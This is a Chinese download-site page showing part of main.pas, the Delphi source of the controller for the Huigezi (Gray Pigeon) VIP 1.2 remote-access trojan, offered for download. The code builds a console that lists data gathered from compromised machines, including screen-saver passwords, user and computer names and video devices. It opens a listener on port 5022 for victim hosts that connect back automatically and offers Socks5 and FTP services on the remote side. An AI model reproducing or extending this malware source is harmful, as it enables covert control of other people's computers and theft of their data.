⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
📖 第 1 页 / 共 5 页
字号:
      SubItems.Add('');
      ImageIndex :=17;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[4]','注册公司');
      SubItems.Add('');
      ImageIndex :=18;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[5]','注册用户');
      SubItems.Add('');
      ImageIndex :=19;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[6]','当前用户');
      SubItems.Add('');
      ImageIndex :=20;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[7]','当前日期');
      SubItems.Add('');
      ImageIndex :=21;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[8]','开机时间');
      SubItems.Add('');
      ImageIndex :=22;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[9]','计算机名称');
      SubItems.Add('');
      ImageIndex :=23;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[10]','窗口分辨率');
      SubItems.Add('');
      ImageIndex :=24;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[11]','服务端版本');
      SubItems.Add('');
      ImageIndex :=25;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[12]','视频设备');
      SubItems.Add('');
      ImageIndex :=26;
    end;
    with SysListView.Items.Add do
    begin
      Caption:=Translate('SysListView[13]','屏幕保护密码');
      SubItems.Add('');
      ImageIndex :=27;
    end;
  except
  end;
  
  ComboBox4.Items.Clear;
  ComboBox4.Items.Add(Translate('ComboBox4[0]','自动上线主机'));
  ComboBox4.Items.Add(Translate('ComboBox4[1]','IP->地理位置'));
  ComboBox4.Items.Add(Translate('ComboBox4[2]','地理位置->IP'));
  ComboBox4.Items.Add(Translate('ComboBox4[3]','域名->IP地址'));
  ComboBox4.ItemIndex :=0;

  ComboBox5.Items.Clear;
  ComboBox5.Items.Add(Translate('ComboBox5[0]','显示搜索结果'));
  ComboBox5.Items.Add(Translate('ComboBox5[1]','连接搜索到的主机'));
  ComboBox5.ItemIndex :=0;

  ComboBox1.Items.Clear;
  ComboBox1.Items.Add(Translate('ComboBox1[0]','普通'));
  ComboBox1.Items.Add(Translate('ComboBox1[1]','询问'));
  ComboBox1.Items.Add(Translate('ComboBox1[2]','警告'));
  ComboBox1.Items.Add(Translate('ComboBox1[3]','错误'));
  ComboBox1.ItemIndex :=0;

  ComboBox2.Items.Clear;
  ComboBox2.Items.Add(Translate('ComboBox2[0]','确定'));
  ComboBox2.Items.Add(Translate('ComboBox2[1]','确定、取消'));
  ComboBox2.Items.Add(Translate('ComboBox2[2]','是、否'));
  ComboBox2.Items.Add(Translate('ComboBox2[3]','是、否、取消'));
  ComboBox2.Items.Add(Translate('ComboBox2[4]','重试、取消'));
  ComboBox2.Items.Add(Translate('ComboBox2[5]','终止、重试、忽略'));
  ComboBox2.ItemIndex :=0;

  ListBox3.Items.Clear;
  ListBox3.Items.Add(Translate('ListBox3[0]','1.Socks5代理服务:可以在服务端开放Socks5代理服务!'));
  ListBox3.Items.Add(Translate('ListBox3[1]','2.FTP服务:可以在服务端开放FTP服务!'));
  ListBox3.Items.Add('');
  ListBox3.Items.Add(Translate('ListBox3[2]','(注:软件内部自带功能,支持:Win98/ME/NT/2000/XP)'));

  for j := 0 to TreeView1.Items.Count - 1 do
  begin
      if Treeview1.Items[j].ImageIndex  = 0 then
      begin
        Treeview1.Items[j].Text:= Translate('TreeView1Item[0]','我的电脑');
      end;
      if Treeview1.Items[j].ImageIndex  = 23 then
      begin
        Treeview1.Items[j].Text:= Translate('TreeView1Item[1]','自动上线主机');
        Break;
      end;
  end;

  for j := 0 to TreeView3.Items.Count - 1 do
  begin
      if TreeView3.Items[j].ImageIndex  = 0 then
      begin
        TreeView3.Items[j].Text:= Translate('TreeView1Item[0]','我的电脑');
      end;
      if TreeView3.Items[j].ImageIndex  = 7 then
      begin
        TreeView3.Items[j].Text:= Translate('TreeView3Item[1]','远程电脑');
        Break;
      end;
  end;


except
end;
 { for I:=0 to ListBox1.Items.Count-1 do begin
    ListBox1.Items[I]:=Translate('ListItem','Item %d',[I]);
  end;
  try
    Image1.Picture.Bitmap.LoadFromResourceName(hInstance,Translate('image','image_eng'));
  except
    Image1.Picture.Bitmap.LoadFromResourceName(hInstance,'image_eng');
  end; }
end;

procedure THgzVip.FormCreate(Sender: TObject);
var
  IPFile: string;
  MyStream: TMemoryStream;
  MyStream1: TMemoryStream;
  Downgif: TDownGifThread;
  Temp: integer;
begin

  LoadINIFile; {读取设置文件}

  if not Soundkarte then begin
    AddLineStr(Translate('Sound1','本机没有可用的声卡设备,您将无法使用语音功能!'), 2, False);
  end;

  SortedColumn := -1;

  MyFirstBmp := TMemoryStream.Create;

  {读取IP追捕数据}
  FleshIpList := TStringlist.Create;
  IPFile := ExtractFilePath(Paramstr(0)) + 'ip.dat';

  if Fileexists(IPFile) then begin //解压HgzIp.dat...
    //SplashForm.Label1.Caption := Translate('Loading1','解压HgzIp.dat...');
    SplashForm.Gauge1.Progress:=10;
    Application.ProcessMessages;
    MyStream := TMemoryStream.Create;
    MyStream1 := TMemoryStream.Create;
    try
      MyStream.LoadFromFile(IPFile);
      MyStream.Position := 0;
      LHAExpand(MyStream, MyStream1);
      MyStream1.Position := 0; //读取追捕HgzIp.dat文件...
      SplashForm.Gauge1.Progress:=15;
      Application.ProcessMessages;
      FleshIpList.LoadFromStream(MyStream1);
    finally
      MyStream.Free;
      MyStream1.Free;
    end;
  end;
  
  ListView2.Columns.Items[0].ImageIndex := 0;

  FDoubleBuffer := TBitmap.Create;
  Videobmp:= TBitmap.Create;
  Videobmp.Width :=313;
  Videobmp.Height := 197;
  
  Animate1.Align := alClient;
  GIFAnimator.Animate := True;

  RsltStream := TmemoryStream.Create;

  SplashForm.Gauge1.Progress:=20;
  Application.ProcessMessages;
  TIPAddThread.Create(false); {得到本机IP的线程}

  Downgif:=TDownGifThread.Create('www.huigezi.net','\/huigezi.gif',ExtractFilePath(Paramstr(0))+'dat\','huigezi.gif');
  LoadLanguageList;
end;

procedure THgzVip.LoadINIFile;
var
  Temp, Temp2: string;
  i, ii: integer;
  TempNode, Nodeid: TTreenode;
  ListFileType: string;
begin
  INIFileName := ExtractFilePath(Paramstr(0)) + 'Operate.ini';
  Myinifile := Tinifile.Create(INIFileName);
  try
    if FileExists(INIFileName) then begin
      Application.ProcessMessages;
                                     {讯取文件视图方式}
      ListFileType := Myinifile.Readstring('Operation', 'ViewStyle', 'vsReport');
      if ListFileType = 'vsIcon' then N16Click(self);
      if ListFileType = 'vsSmallIcon' then N17Click(self);
      if ListFileType = 'vsList' then N18Click(self);
      if ListFileType = 'vsReport' then N19Click(self);

      Temp := Myinifile.Readstring('Operation', 'Tool1', '1'); {显不显示工具栏}
      if Temp <> '1' then N3Click(Self);
      Temp := Myinifile.Readstring('Operation', 'Tool2', '1'); {显不显示连接信息栏}
      if Temp <> '1' then N6Click(Self);
      Temp := Myinifile.Readstring('Operation', 'Tool3', '1'); {显不显示搜索栏}
      if Temp <> '1' then N7Click(Self);
      Temp := Myinifile.Readstring('Operation', 'OnSound', '0'); {显不显示搜索栏}
      if Temp <> '0' then
      begin
        isSound := True;
        OnSLine := Myinifile.Readstring('Operation', 'Sound1', '');
        OffSLine := Myinifile.Readstring('Operation', 'Sound2', '');
        UpIPok := Myinifile.Readstring('Operation', 'Sound3', '');
        FileSup := Myinifile.Readstring('Operation', 'Sound4', '');
        FileSDown := Myinifile.Readstring('Operation', 'Sound5', '');
      end;

      Temp := Myinifile.Readstring('Operation', 'SkinFile', ''); {读取皮肤文件}
      if FileExists(Temp) then begin
        spSkinData1.LoadFromFile(Temp);
      end;

      AutoSxport := Strtoint(Myinifile.Readstring('LocalPort', 'AutoSxport', '5022'));
      SportEdit.Text:=inttostr(AutoSxport);

      try
        Timer4.Interval:=Strtoint(Myinifile.Readstring('Operation', 'TimerOut', '20000'));
      except
        Timer4.Interval:=20000;
      end;


      LjPassword.Text:=DeCryptStr(Myinifile.Readstring('Operation', 'PassWord', ''),'HEIMAYI');
      Exit;
    end;
  except
  end;

  Application.ProcessMessages;
  try

    {-----------------------------------------}
    Myinifile.writestring('Operation', 'ViewStyle', 'vsReport'); {文件列表视图}
    Myinifile.writestring('Operation', 'SkinFile', ''); {设置皮肤}
    Myinifile.writestring('Operation', 'Tool1', '1'); {工具栏}
    Myinifile.writestring('Operation', 'Tool2', '1'); {连接信息栏}
    Myinifile.writestring('Operation', 'Tool3', '1'); {搜索栏}
    Myinifile.writestring('Operation', 'OnSound', '1'); {是否打开语音提示}
    Myinifile.writestring('Operation', 'Sound1', ExtractFilePath(ParamStr(0)) + 'sound\login.wav');
    Myinifile.writestring('Operation', 'Sound2', ExtractFilePath(ParamStr(0)) + 'sound\offline.wav');
    Myinifile.writestring('Operation', 'Sound3', ExtractFilePath(ParamStr(0)) + 'sound\setting.wav');
    Myinifile.writestring('Operation', 'Sound4', ExtractFilePath(ParamStr(0)) + 'sound\upfile.wav');
    Myinifile.writestring('Operation', 'Sound5', ExtractFilePath(ParamStr(0)) + 'sound\downfile.wav');
    Myinifile.writestring('Operation', 'TimerOut', '20000');

    
    isSound := True;
    OnSLine := ExtractFilePath(ParamStr(0)) + 'sound\login.wav';
    OffSLine := ExtractFilePath(ParamStr(0)) + 'sound\offline.wav';
    UpIPok := ExtractFilePath(ParamStr(0)) + 'sound\setting.wav';
    FileSup := ExtractFilePath(ParamStr(0)) + 'sound\upfile.wav';
    FileSDown := ExtractFilePath(ParamStr(0)) + 'sound\downfile.wav';
    {-----------------------------------------}
    Myinifile.writestring('LocalPort', 'AutoSxport', '5022'); {自动上线端口}
    SportEdit.Text :='80';
    Myinifile.writestring('LocalPort', 'PassWord', '');
    {-----------------------------------------}
    Myinifile.writestring('FTP', 'AutoSave', '1'); {自动保存FTP信息}
    Myinifile.writestring('FTP', 'FTPServer', '');
    Myinifile.writestring('FTP', 'FTPport', '21');
    Myinifile.writestring('FTP', 'FTPUser', '');
    Myinifile.writestring('FTP', 'Password', '');
    Myinifile.writestring('FTP', 'Http', '');
    Myinifile.writestring('FTP', 'IpFile', 'ip.jpg');
    {-----------------------------------------}
    Myinifile.writestring('Yuming', 'AutoSave', '1'); {自动保存域名信息}
    Myinifile.writestring('Yuming', 'User', '');
    Myinifile.writestring('Yuming', 'Password', '');
    {-----------------------------------------}
    Myinifile.writestring('DNSYuming', 'AutoSave', '1');
    Myinifile.writestring('DNSYuming', 'Dns', '');
    Myinifile.writestring('DNSYuming', 'User', '');
    Myinifile.writestring('DNSYuming', 'Password', '');
    {-----------------------------------------}
  except
  end;
  AutoSxport := 5022;
end;

procedure THgzVip.FormShow(Sender: TObject);

begin
  if Tag = 0 then
   begin
    Tag := 1;
   try
     IdTCPServer1.Active := False;
     IdTCPServer1.Bindings.Clear;
    IdTCPServer1.DefaultPort := AutoSxport;
    IdTCPServer1.Active := True;
  except                 //打开本地XXX端口失败!你不能使用自动上线功能!
     AddLineStr(Translate('String1','打开自动上线端口失败!你不能使用自动上线功能!'), 2, False);
  end;
  end;

  try
    PageControl1.ActivePage := TabSheet1;

    TreeView1.FullCollapse;
    Gauge1.Width := TreeView1.Width;
  except
  end;
end;

function THgzVip.DiskInDrive(Drive: Char): Boolean;
var ErrorMode: word;
begin
  if Drive in ['a'..'z'] then Dec(Drive, $20);
  if not (Drive in ['A'..'Z']) then
  begin
    Result := False;
    Exit;
  end;
  ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
  try
    if DiskSize(Ord(Drive) - $40) = -1 then
      Result := False
    else
      Result := True;
  finally
    SetErrorMode(ErrorMode);
  end;
end;


procedure THgzVip.GetDrivernum(var DiskList: TStringList);
var
  i: Char;
  AChar: array[1..3] of char;
  j: integer;
  drv: PChar;
begin
  for i := 'C' to 'Z' do
  begin
    if DiskInDrive(i) then
    begin
      AChar[1] := i;
      AChar[2] := ':';
      AChar[3] := #0;
      drv := @AChar;
      J := GetDriveType(drv);
      if J = DRIVE_REMOVABLE then
        DiskList.Add(i + ':4'); //(软盘)
      if J = DRIVE_FIXED then
        DiskList.Add(i + ':1'); //(硬盘)
      if J = DRIVE_REMOTE then
        DiskList.Add(i + ':3'); //(网络映射)
      if J = DRIVE_CDROM then
        DiskList.Add(i + ':2'); //(光盘)
      if J = DRIVE_RAMDISK then
        DiskList.Add(i + ':4'); // (虚拟盘)
      if J = DRIVE_UNKNOWN then
        DiskList.Add(i + ':4'); // (未知盘)
    end;
  end;
end;

function THgzVip.GetDosOutput(var Command: string): string;
var
  hReadPipe: THandle;
  hWritePipe: THandle;
  SI: TStartUpInfo;
  PI: TProcessInform

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -